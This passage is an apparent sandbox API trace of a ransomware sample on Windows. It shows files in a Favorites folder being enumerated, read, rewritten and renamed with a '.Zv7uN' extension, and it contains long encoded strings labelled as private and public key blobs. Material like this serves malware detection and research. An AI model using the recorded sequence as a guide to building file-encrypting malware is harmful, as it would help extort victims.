ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.940] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5fba4880, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Web Slice Gallery.url.Zv7uN", cAlternateFileName="WEBSLI~1.ZV7")) returned 1 [0125.940] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.940] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.940] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5fba4880, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Web Slice Gallery.url.Zv7uN", cAlternateFileName="WEBSLI~1.ZV7")) returned 0 [0125.940] GetLastError () returned 0x12 [0125.940] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0125.940] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0125.940] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.941] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.941] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0125.945] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.946] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0125.946] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0125.946] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.946] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0125.947] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url")) returned 0x20 [0125.947] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url", dwFileAttributes=0x80) returned 1 [0125.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0125.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0125.950] GetCurrentThreadId () returned 0xa30 [0125.950] GetCurrentThreadId () returned 0xa30 [0125.951] GetCurrentThreadId () returned 0xa30 [0125.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0125.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f0109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0125.951] GetCurrentThreadId () returned 0xa30 [0125.951] GetCurrentThreadId () returned 0xa30 [0125.952] GetCurrentThreadId () returned 0xa30 [0125.952] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0125.952] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0125.952] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0125.952] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x85 [0125.952] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0125.952] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f08ea0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f08ea0*, lpNumberOfBytesRead=0x18f3d4*=0x85, lpOverlapped=0x0) returned 1 [0125.954] CloseHandle (hObject=0x1e8) returned 1 [0125.954] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0125.956] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f0aed0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f0aed0*, lpNumberOfBytesWritten=0x18f3e0*=0x85, lpOverlapped=0x0) returned 1 [0125.958] CloseHandle (hObject=0x1e8) returned 1 [0125.959] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url.Zv7uN" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url.zv7un")) returned 1 [0125.960] GetCurrentThreadId () returned 0xa30 [0125.960] GetCurrentThreadId () returned 0xa30 [0125.960] GetCurrentThreadId () returned 0xa30 [0125.960] GetCurrentThreadId () returned 0xa30 [0125.960] GetCurrentThreadId () returned 0xa30 [0125.960] GetCurrentThreadId () returned 0xa30 [0125.960] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0125.960] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0125.960] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0125.961] 